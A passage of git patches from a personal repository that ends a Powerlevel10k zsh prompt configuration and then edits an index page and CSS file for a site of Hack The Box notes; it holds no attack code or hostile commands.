POWERLEVEL9K_KUBECONTEXT_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_KUBECONTEXT_CLASSES defines the context class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' DEFAULT) + # + # If your current kubernetes context is "deathray-testing/default", its class is TEST + # because "deathray-testing/default" doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_FOREGROUND=134 + # typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use POWERLEVEL9K_KUBECONTEXT_CONTENT_EXPANSION to specify the content displayed by kubecontext + # segment. Parameter expansions are very flexible and fast, too. See reference: + # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion. + # + # Within the expansion the following parameters are always available: + # + # - P9K_CONTENT The content that would've been displayed if there was no content + # expansion defined. + # - P9K_KUBECONTEXT_NAME The current context's name. Corresponds to column NAME in the + # output of `kubectl config get-contexts`. + # - P9K_KUBECONTEXT_CLUSTER The current context's cluster. Corresponds to column CLUSTER in the + # output of `kubectl config get-contexts`. + # - P9K_KUBECONTEXT_NAMESPACE The current context's namespace. Corresponds to column NAMESPACE + # in the output of `kubectl config get-contexts`. If there is no + # namespace, the parameter is set to "default". + # - P9K_KUBECONTEXT_USER The current context's user. Corresponds to column AUTHINFO in the + # output of `kubectl config get-contexts`. + # + # If the context points to Google Kubernetes Engine (GKE) or Elastic Kubernetes Service (EKS), + # the following extra parameters are available: + # + # - P9K_KUBECONTEXT_CLOUD_NAME Either "gke" or "eks". + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT Account/project ID. + # - P9K_KUBECONTEXT_CLOUD_ZONE Availability zone. + # - P9K_KUBECONTEXT_CLOUD_CLUSTER Cluster. + # + # P9K_KUBECONTEXT_CLOUD_* parameters are derived from P9K_KUBECONTEXT_CLUSTER. For example, + # if P9K_KUBECONTEXT_CLUSTER is "gke_my-account_us-east1-a_my-cluster-01": + # + # - P9K_KUBECONTEXT_CLOUD_NAME=gke + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=my-account + # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east1-a + # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01 + # + # If P9K_KUBECONTEXT_CLUSTER is "arn:aws:eks:us-east-1:123456789012:cluster/my-cluster-01": + # + # - P9K_KUBECONTEXT_CLOUD_NAME=eks + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=123456789012 + # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east-1 + # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01 + typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION= + # Show P9K_KUBECONTEXT_CLOUD_CLUSTER if it's not empty and fall back to P9K_KUBECONTEXT_NAME. + POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${P9K_KUBECONTEXT_CLOUD_CLUSTER:-${P9K_KUBECONTEXT_NAME}}' + # Append the current context's namespace if it's not "default". + POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${${:-/$P9K_KUBECONTEXT_NAMESPACE}:#/default}' + + # Custom prefix. + typeset -g POWERLEVEL9K_KUBECONTEXT_PREFIX='%246Fat ' + + #[ aws: aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) ]# + # Show aws only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show aws. + typeset -g POWERLEVEL9K_AWS_SHOW_ON_COMMAND='aws|awless|terraform|pulumi|terragrunt' + + # POWERLEVEL9K_AWS_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current AWS profile gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all POWERLEVEL9K_AWS_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_AWS_CLASSES defines the profile class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_AWS_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' DEFAULT) + # + # If your current AWS profile is "company_test", its class is TEST + # because "company_test" doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_AWS_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_AWS_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_AWS_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_AWS_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_AWS_DEFAULT_FOREGROUND=208 + # typeset -g POWERLEVEL9K_AWS_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # AWS segment format. The following parameters are available within the expansion. + # + # - P9K_AWS_PROFILE The name of the current AWS profile. + # - P9K_AWS_REGION The region associated with the current AWS profile. + typeset -g POWERLEVEL9K_AWS_CONTENT_EXPANSION='${P9K_AWS_PROFILE//\%/%%}${P9K_AWS_REGION:+ ${P9K_AWS_REGION//\%/%%}}' + + #[ aws_eb_env: aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/) ]# + # AWS Elastic Beanstalk environment color. + typeset -g POWERLEVEL9K_AWS_EB_ENV_FOREGROUND=70 + # Custom icon. + # typeset -g POWERLEVEL9K_AWS_EB_ENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ azure: azure account name (https://docs.microsoft.com/en-us/cli/azure) ]########## + # Show azure only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show azure. + typeset -g POWERLEVEL9K_AZURE_SHOW_ON_COMMAND='az|terraform|pulumi|terragrunt' + # Azure account name color. + typeset -g POWERLEVEL9K_AZURE_FOREGROUND=32 + # Custom icon. + # typeset -g POWERLEVEL9K_AZURE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ gcloud: google cloud account and project (https://cloud.google.com/) ]########### + # Show gcloud only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show gcloud. + typeset -g POWERLEVEL9K_GCLOUD_SHOW_ON_COMMAND='gcloud|gcs|gsutil' + # Google cloud color. + typeset -g POWERLEVEL9K_GCLOUD_FOREGROUND=32 + + # Google cloud format. Change the value of POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION and/or + # POWERLEVEL9K_GCLOUD_COMPLETE_CONTENT_EXPANSION if the default is too verbose or not informative + # enough. You can use the following parameters in the expansions. Each of them corresponds to the + # output of `gcloud` tool. + # + # Parameter | Source + # -------------------------|-------------------------------------------------------------------- + # P9K_GCLOUD_CONFIGURATION | gcloud config configurations list --format='value(name)' + # P9K_GCLOUD_ACCOUNT | gcloud config get-value account + # P9K_GCLOUD_PROJECT_ID | gcloud config get-value project + # P9K_GCLOUD_PROJECT_NAME | gcloud projects describe $P9K_GCLOUD_PROJECT_ID --format='value(name)' + # + # Note: ${VARIABLE//\%/%%} expands to ${VARIABLE} with all occurrences of '%' replaced with '%%'. + # + # Obtaining project name requires sending a request to Google servers. This can take a long time + # and even fail. When project name is unknown, P9K_GCLOUD_PROJECT_NAME is not set and gcloud + # prompt segment is in state PARTIAL. When project name gets known, P9K_GCLOUD_PROJECT_NAME gets + # set and gcloud prompt segment transitions to state COMPLETE. + # + # You can customize the format, icon and colors of gcloud segment separately for states PARTIAL + # and COMPLETE. You can also hide gcloud in state PARTIAL by setting + # POWERLEVEL9K_GCLOUD_PARTIAL_VISUAL_IDENTIFIER_EXPANSION and + # POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION to empty. + typeset -g POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION='${P9K_GCLOUD_PROJECT_ID//\%/%%}' + typeset -g POWERLEVEL9K_GCLOUD_COMPLETE_CONTENT_EXPANSION='${P9K_GCLOUD_PROJECT_NAME//\%/%%}' + + # Send a request to Google (by means of `gcloud projects describe ...`) to obtain project name + # this often. Negative value disables periodic polling. In this mode project name is retrieved + # only when the current configuration, account or project id changes. + typeset -g POWERLEVEL9K_GCLOUD_REFRESH_PROJECT_NAME_SECONDS=60 + + # Custom icon. + # typeset -g POWERLEVEL9K_GCLOUD_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #[ google_app_cred: google application credentials (https://cloud.google.com/docs/authentication/production) ]# + # Show google_app_cred only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show google_app_cred. + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_SHOW_ON_COMMAND='terraform|pulumi|terragrunt' + + # Google application credentials classes for the purpose of using different colors, icons and + # expansions with different credentials. + # + # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES is an array with even number of elements. The first + # element in each pair defines a pattern against which the current kubernetes context gets + # matched. More specifically, it's P9K_CONTENT prior to the application of context expansion + # (see below) that gets matched. If you unset all POWERLEVEL9K_GOOGLE_APP_CRED_*CONTENT_EXPANSION + # parameters, you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES defines the context class. Patterns are tried in order. + # The first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=( + # '*:*prod*:*' PROD + # '*:*test*:*' TEST + # '*' DEFAULT) + # + # If your current Google application credentials is "service_account deathray-testing x@y.com", + # its class is TEST because it doesn't match the pattern '* *prod* *' but does match '* *test* *'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_CONTENT_EXPANSION='$P9K_GOOGLE_APP_CRED_PROJECT_ID' + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=( + # '*:*prod*:*' PROD # These values are examples that are unlikely + # '*:*test*:*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_FOREGROUND=32 + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use POWERLEVEL9K_GOOGLE_APP_CRED_CONTENT_EXPANSION to specify the content displayed by + # google_app_cred segment. Parameter expansions are very flexible and fast, too. See reference: + # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion. + # + # You can use the following parameters in the expansion. Each of them corresponds to one of the + # fields in the JSON file pointed to by GOOGLE_APPLICATION_CREDENTIALS. + # + # Parameter | JSON key file field + # ---------------------------------+--------------- + # P9K_GOOGLE_APP_CRED_TYPE | type + # P9K_GOOGLE_APP_CRED_PROJECT_ID | project_id + # P9K_GOOGLE_APP_CRED_CLIENT_EMAIL | client_email + # + # Note: ${VARIABLE//\%/%%} expands to ${VARIABLE} with all occurrences of '%' replaced by '%%'. + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_CONTENT_EXPANSION='${P9K_GOOGLE_APP_CRED_PROJECT_ID//\%/%%}' + + ##############[ toolbox: toolbox name (https://github.com/containers/toolbox) ]############### + # Toolbox color. + typeset -g POWERLEVEL9K_TOOLBOX_FOREGROUND=178 + # Don't display the name of the toolbox if it matches fedora-toolbox-*. + typeset -g POWERLEVEL9K_TOOLBOX_CONTENT_EXPANSION='${P9K_TOOLBOX_NAME:#fedora-toolbox-*}' + # Custom icon. + # typeset -g POWERLEVEL9K_TOOLBOX_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_TOOLBOX_PREFIX='%246Fin ' + + ###############################[ public_ip: public IP address ]############################### + # Public IP color. + typeset -g POWERLEVEL9K_PUBLIC_IP_FOREGROUND=94 + # Custom icon. + # typeset -g POWERLEVEL9K_PUBLIC_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ########################[ vpn_ip: virtual private network indicator ]######################### + # VPN IP color. + typeset -g POWERLEVEL9K_VPN_IP_FOREGROUND=81 + # When on VPN, show just an icon without the IP address. + # Tip: To display the private IP address when on VPN, remove the next line. + typeset -g POWERLEVEL9K_VPN_IP_CONTENT_EXPANSION= + # Regular expression for the VPN network interface. Run `ifconfig` or `ip -4 a show` while on VPN + # to see the name of the interface. + typeset -g POWERLEVEL9K_VPN_IP_INTERFACE='(gpd|wg|(.*tun)|tailscale)[0-9]*' + # If set to true, show one segment per matching network interface. If set to false, show only + # one segment corresponding to the first matching network interface. + # Tip: If you set it to true, you'll probably want to unset POWERLEVEL9K_VPN_IP_CONTENT_EXPANSION. + typeset -g POWERLEVEL9K_VPN_IP_SHOW_ALL=false + # Custom icon. + # typeset -g POWERLEVEL9K_VPN_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ ip: ip address and bandwidth usage for a specified network interface ]########### + # IP color. + typeset -g POWERLEVEL9K_IP_FOREGROUND=38 + # The following parameters are accessible within the expansion: + # + # Parameter | Meaning + # ----------------------+------------------------------------------- + # P9K_IP_IP | IP address + # P9K_IP_INTERFACE | network interface + # P9K_IP_RX_BYTES | total number of bytes received + # P9K_IP_TX_BYTES | total number of bytes sent + # P9K_IP_RX_BYTES_DELTA | number of bytes received since last prompt + # P9K_IP_TX_BYTES_DELTA | number of bytes sent since last prompt + # P9K_IP_RX_RATE | receive rate (since last prompt) + # P9K_IP_TX_RATE | send rate (since last prompt) + typeset -g POWERLEVEL9K_IP_CONTENT_EXPANSION='${P9K_IP_RX_RATE:+%70F⇣$P9K_IP_RX_RATE }${P9K_IP_TX_RATE:+%215F⇡$P9K_IP_TX_RATE }%38F$P9K_IP_IP' + # Show information for the first network interface whose name matches this regular expression. + # Run `ifconfig` or `ip -4 a show` to see the names of all network interfaces. + typeset -g POWERLEVEL9K_IP_INTERFACE='[ew].*' + # Custom icon. + # typeset -g POWERLEVEL9K_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #########################[ proxy: system-wide http/https/ftp proxy ]########################## + # Proxy color. + typeset -g POWERLEVEL9K_PROXY_FOREGROUND=68 + # Custom icon. + # typeset -g POWERLEVEL9K_PROXY_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################################[ battery: internal battery ]################################# + # Show battery in red when it's below this level and not connected to power supply. + typeset -g POWERLEVEL9K_BATTERY_LOW_THRESHOLD=20 + typeset -g POWERLEVEL9K_BATTERY_LOW_FOREGROUND=160 + # Show battery in green when it's charging or fully charged. + typeset -g POWERLEVEL9K_BATTERY_{CHARGING,CHARGED}_FOREGROUND=70 + # Show battery in yellow when it's discharging. + typeset -g POWERLEVEL9K_BATTERY_DISCONNECTED_FOREGROUND=178 + # Battery pictograms going from low to high level of charge. + typeset -g POWERLEVEL9K_BATTERY_STAGES='\uf58d\uf579\uf57a\uf57b\uf57c\uf57d\uf57e\uf57f\uf580\uf581\uf578' + # Don't show the remaining time to charge/discharge. + typeset -g POWERLEVEL9K_BATTERY_VERBOSE=false + + #####################################[ wifi: wifi speed ]##################################### + # WiFi color. + typeset -g POWERLEVEL9K_WIFI_FOREGROUND=68 + # Custom icon. + # typeset -g POWERLEVEL9K_WIFI_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use different colors and icons depending on signal strength ($P9K_WIFI_BARS). + # + # # Wifi colors and icons for different signal strength levels (low to high). + # typeset -g my_wifi_fg=(68 68 68 68 68) # <-- change these values + # typeset -g my_wifi_icon=('WiFi' 'WiFi' 'WiFi' 'WiFi' 'WiFi') # <-- change these values + # + # typeset -g POWERLEVEL9K_WIFI_CONTENT_EXPANSION='%F{${my_wifi_fg[P9K_WIFI_BARS+1]}}$P9K_WIFI_LAST_TX_RATE Mbps' + # typeset -g POWERLEVEL9K_WIFI_VISUAL_IDENTIFIER_EXPANSION='%F{${my_wifi_fg[P9K_WIFI_BARS+1]}}${my_wifi_icon[P9K_WIFI_BARS+1]}' + # + # The following parameters are accessible within the expansions: + # + # Parameter | Meaning + # ----------------------+--------------- + # P9K_WIFI_SSID | service set identifier, a.k.a. network name + # P9K_WIFI_LINK_AUTH | authentication protocol such as "wpa2-psk" or "none"; empty if unknown + # P9K_WIFI_LAST_TX_RATE | wireless transmit rate in megabits per second + # P9K_WIFI_RSSI | signal strength in dBm, from -120 to 0 + # P9K_WIFI_NOISE | noise in dBm, from -120 to 0 + # P9K_WIFI_BARS | signal strength in bars, from 0 to 4 (derived from P9K_WIFI_RSSI and P9K_WIFI_NOISE) + + ####################################[ time: current time ]#################################### + # Current time color. + typeset -g POWERLEVEL9K_TIME_FOREGROUND=66 + # Format for the current time: 09:51:02. See `man 3 strftime`. + typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}' + # If set to true, time will update when you hit enter. This way prompts for the past + # commands will contain the start times of their commands as opposed to the default + # behavior where they contain the end times of their preceding commands. + typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false + # Custom icon. + # typeset -g POWERLEVEL9K_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_TIME_PREFIX='%246Fat ' + + # Example of a user-defined prompt segment. Function prompt_example will be called on every + # prompt if `example` prompt segment is added to POWERLEVEL9K_LEFT_PROMPT_ELEMENTS or + # POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS. It displays an icon and orange text greeting the user. + # + # Type `p10k help segment` for documentation and a more sophisticated example. + function prompt_example() { + p10k segment -f 208 -i '⭐' -t 'hello, %n' + } + + # User-defined prompt segments may optionally provide an instant_prompt_* function. Its job + # is to generate the prompt segment for display in instant prompt. See + # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt. + # + # Powerlevel10k will call instant_prompt_* at the same time as the regular prompt_* function + # and will record all `p10k segment` calls it makes. When displaying instant prompt, Powerlevel10k + # will replay these calls without actually calling instant_prompt_*. It is imperative that + # instant_prompt_* always makes the same `p10k segment` calls regardless of environment. If this + # rule is not observed, the content of instant prompt will be incorrect. + # + # Usually, you should either not define instant_prompt_* or simply call prompt_* from it. If + # instant_prompt_* is not defined for a segment, the segment won't be shown in instant prompt. + function instant_prompt_example() { + # Since prompt_example always makes the same `p10k segment` calls, we can call it from + # instant_prompt_example. This will give us the same `example` prompt segment in the instant + # and regular prompts. + prompt_example + } + + # User-defined prompt segments can be customized the same way as built-in segments. + # typeset -g POWERLEVEL9K_EXAMPLE_FOREGROUND=208 + # typeset -g POWERLEVEL9K_EXAMPLE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Transient prompt works similarly to the builtin transient_rprompt option. It trims down prompt + # when accepting a command line. Supported values: + # + # - off: Don't change prompt when accepting a command line. + # - always: Trim down prompt when accepting a command line. + # - same-dir: Trim down prompt when accepting a command line unless this is the first command + # typed after changing current working directory. + typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=always + + # Instant prompt mode. + # + # - off: Disable instant prompt. Choose this if you've tried instant prompt and found + # it incompatible with your zsh configuration files. + # - quiet: Enable instant prompt and don't print warnings when detecting console output + # during zsh initialization. Choose this if you've read and understood + # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt. + # - verbose: Enable instant prompt and print a warning when detecting console output during + # zsh initialization. Choose this if you've never tried instant prompt, haven't + # seen the warning, or if you are unsure what this all means. + typeset -g POWERLEVEL9K_INSTANT_PROMPT=quiet + + # Hot reload allows you to change POWERLEVEL9K options after Powerlevel10k has been initialized. + # For example, you can type POWERLEVEL9K_BACKGROUND=red and see your prompt turn red. Hot reload + # can slow down prompt by 1-2 milliseconds, so it's better to keep it turned off unless you + # really need it. + typeset -g POWERLEVEL9K_DISABLE_HOT_RELOAD=true + + # If p10k is already loaded, reload configuration. + # This works even with POWERLEVEL9K_DISABLE_HOT_RELOAD=true. + (( ! $+functions[p10k] )) || p10k reload +} + +# Tell `p10k configure` which file it should overwrite. +typeset -g POWERLEVEL9K_CONFIG_FILE=${${(%):-%x}:a} + +(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]} +'builtin' 'unset' 'p10k_config_opts' From 806995fc6581e7f999fc6273c9fd56124f017bf2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 20 May 2022 10:56:16 +0200 Subject: [PATCH 0397/1701] Update and rename .p10k.zsh.md to (root).p10k.zsh --- Linux/PowerLevel10k/{.p10k.zsh.md => (root).p10k.zsh} | 1 + 1 file changed, 1 insertion(+) rename Linux/PowerLevel10k/{.p10k.zsh.md => (root).p10k.zsh} (99%) diff --git a/Linux/PowerLevel10k/.p10k.zsh.md b/Linux/PowerLevel10k/(root).p10k.zsh similarity index 99% rename from Linux/PowerLevel10k/.p10k.zsh.md rename to Linux/PowerLevel10k/(root).p10k.zsh index 0cfdce9d197..a0601736aee 100644 --- a/Linux/PowerLevel10k/.p10k.zsh.md +++ b/Linux/PowerLevel10k/(root).p10k.zsh @@ -1,3 +1,4 @@ +# Para el Usurio Root # Generated by Powerlevel10k configuration wizard on 2022-03-24 at 02:24 CET. # Based on romkatv/powerlevel10k/config/p10k-classic.zsh, checksum 55273. # Wizard options: nerdfont-complete + powerline, large icons, classic, unicode, dark, From dd5fa2c9b75daf548b7fb13e9a42421026830597 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:40:51 +0200 Subject: [PATCH 0398/1701] Update index.md --- index.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/index.md b/index.md index 0acbec3a9db..1bc4fc84112 100644 --- a/index.md +++ b/index.md @@ -1,3 +1,23 @@ + + + + + + + Animated Search Interaction + + + + + + + + # Hack The Box |**Máquinas** |**Starting Points** | From db9822d08238dcbbf5081c8d332d55ec240f44a5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:42:03 +0200 Subject: [PATCH 0399/1701] Create main.css --- css/main.css | 181 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 181 insertions(+) create mode 100644 css/main.css diff --git a/css/main.css b/css/main.css new file mode 100644 index 00000000000..2f6b5cf0604 --- /dev/null +++ b/css/main.css @@ -0,0 +1,181 @@ +* { + border: 0; + box-sizing: border-box; + margin: 0; + padding: 0; +} + +:root { + font-size: calc(16px + (24 - 16)*(100vw - 320px)/(1920 - 320)); +} + +body, button, input { + font: 1em Hind, sans-serif; + line-height: 1.5em; +} + +body, input { + color: #171717; +} + +body, .search-bar { + display: flex; +} + +body { + background: #f1f1f1; + height: 100vh; +} + +.search-bar input, +.search-btn, +.search-btn:before, +.search-btn:after { + transition: all 0.25s ease-out; +} + +.search-bar input, +.search-btn { + width: 3em; + height: 3em; +} + +.search-bar input:invalid:not(:focus), +.search-btn { + cursor: pointer; +} + +.search-bar, +.search-bar input:focus, +.search-bar input:valid { + width: 100%; +} + +.search-bar input:focus, +.search-bar input:not(:focus) + .search-btn:focus { + outline: transparent; +} + +.search-bar { + margin: auto; + padding: 1.5em; + justify-content: center; + max-width: 30em; +} + +.search-bar input { + background: transparent; + border-radius: 1.5em; + box-shadow: 0 0 0 0.4em #171717 inset; + padding: 0.75em; + transform: translate(0.5em,0.5em) scale(0.5); + transform-origin: 100% 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} + +.search-bar input::-webkit-search-decoration { + -webkit-appearance: none; +} + +.search-bar input:focus, +.search-bar input:valid { + background: #fff; + border-radius: 0.375em 0 0 0.375em; + box-shadow: 0 0 0 0.1em #d9d9d9 inset; + transform: scale(1); +} + +.search-btn { + background: #171717; + border-radius: 0 0.75em 0.75em 0 / 0 1.5em 1.5em 0; + padding: 0.75em; + position: relative; + transform: translate(0.25em,0.25em) rotate(45deg) scale(0.25,0.125); + transform-origin: 0 50%; +} + +.search-btn:before, +.search-btn:after { + content: ""; + display: block; + opacity: 0; + position: absolute; +} + +.search-btn:before { + border-radius: 50%; + box-shadow: 0 0 0 0.2em #f1f1f1 inset; + top: 0.75em; + left: 0.75em; + width: 1.2em; + height: 1.2em; +} + +.search-btn:after { + background: #f1f1f1; + border-radius: 0 0.25em 0.25em 0; + top: 51%; + left: 51%; + width: 0.75em; + height: 0.25em; + transform: translate(0.2em,0) rotate(45deg); + transform-origin: 0 50%; +} + +.search-btn span { + display: inline-block; + overflow: hidden; + width: 1px; + height: 1px; +} + +.search-bar input:focus + .search-btn, +.search-bar input:valid + .search-btn { + background: #2762f3; + border-radius: 0 0.375em 0.375em 0; + transform: scale(1); +} + +.search-bar input:focus + .search-btn:before, +.search-bar input:focus + .search-btn:after, +.search-bar input:valid + .search-btn:before, +.search-bar input:valid + .search-btn:after { + opacity: 1; +} + +.search-bar input:focus + .search-btn:hover, +.search-bar input:valid + .search-btn:hover, +.search-bar input:valid:not(:focus) + .search-btn:focus { + background: #0c48db; +} + +.search-bar input:focus + .search-btn:active, +.search-bar input:valid + .search-btn:active { + transform: translateY(1px); +} + +@media screen and (prefers-color-scheme: dark) { + body, input { + color: #f1f1f1; + } + + body { + background: #171717; + } + + .search-bar input { + box-shadow: 0 0 0 0.4em #f1f1f1 inset; + } + + .search-bar input:focus, + .search-bar input:valid { + background: #3d3d3d; + box-shadow: 0 0 0 0.1em #3d3d3d inset; + } + + .search-btn { + background: #f1f1f1; + } +} From 2073698e1e267188aa1f891eee75db22ec32c240 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:42:56 +0200 Subject: [PATCH 0400/1701] Update index.md --- index.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/index.md b/index.md index 1bc4fc84112..f3579f954b3 100644 --- a/index.md +++ b/index.md @@ -1,4 +1,3 @@ - @@ -15,9 +14,10 @@ - - - + + + + # Hack The Box |**Máquinas** |**Starting Points** | From 29d2fd4d7066b37353b83eb50eb58562dff61c6a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:44:01 +0200 Subject: [PATCH 0401/1701] Update index.md --- index.md | 1 + 1 file changed, 1 insertion(+) diff --git a/index.md b/index.md index f3579f954b3..0d860b06e14 100644 --- a/index.md +++ b/index.md @@ -1,3 +1,4 @@ + From c38a5e8d68cffc350d4bd0a486e08bc90bacfe38 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:47:56 +0200 Subject: [PATCH 0402/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 0d860b06e14..733185e95d6 100644 --- a/index.md +++ b/index.md @@ -1,4 +1,4 @@ - + From 39279784a3d12cd2a776348518f203459aee7282 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:49:32 +0200 Subject: [PATCH 0403/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 733185e95d6..9c710134326 100644 --- a/index.md +++ b/index.md @@ -1,8 +1,8 @@ - + - + Animated Search Interaction From 6be73c39a97172d27c915e48fa78475b5442e675 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:51:47 +0200 Subject: [PATCH 0404/1701] Rename main.css to main --- css/{main.css => main} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename css/{main.css => main} (100%) diff --git a/css/main.css b/css/main similarity index 100% rename from css/main.css rename to css/main From c5c0419523f05c9ae7f7d0dd3bf003377d4d9396 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 02:52:17 +0200 Subject: [PATCH 0405/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 9c710134326..51521508d18 100644 --- a/index.md +++ b/index.md @@ -2,7 +2,7 @@ - + Animated Search Interaction From 96fda5a179f06109fefc85a10bc29bef8025981c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 22 May 2022 03:33:55 +0200 Subject: [PATCH 0406/1701] Update index.md --- index.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/index.md b/index.md index 51521508d18..6e15c0e8d02 100644 --- a/index.md +++ b/index.md @@ -1,3 +1,29 @@ + + + + + Animated Sidebar CSS + + + + + + + + + From 7625abb74b6e8d918e0df1205cb83bc003192c9b Mon Sep 17 00:00:00 2001 From: 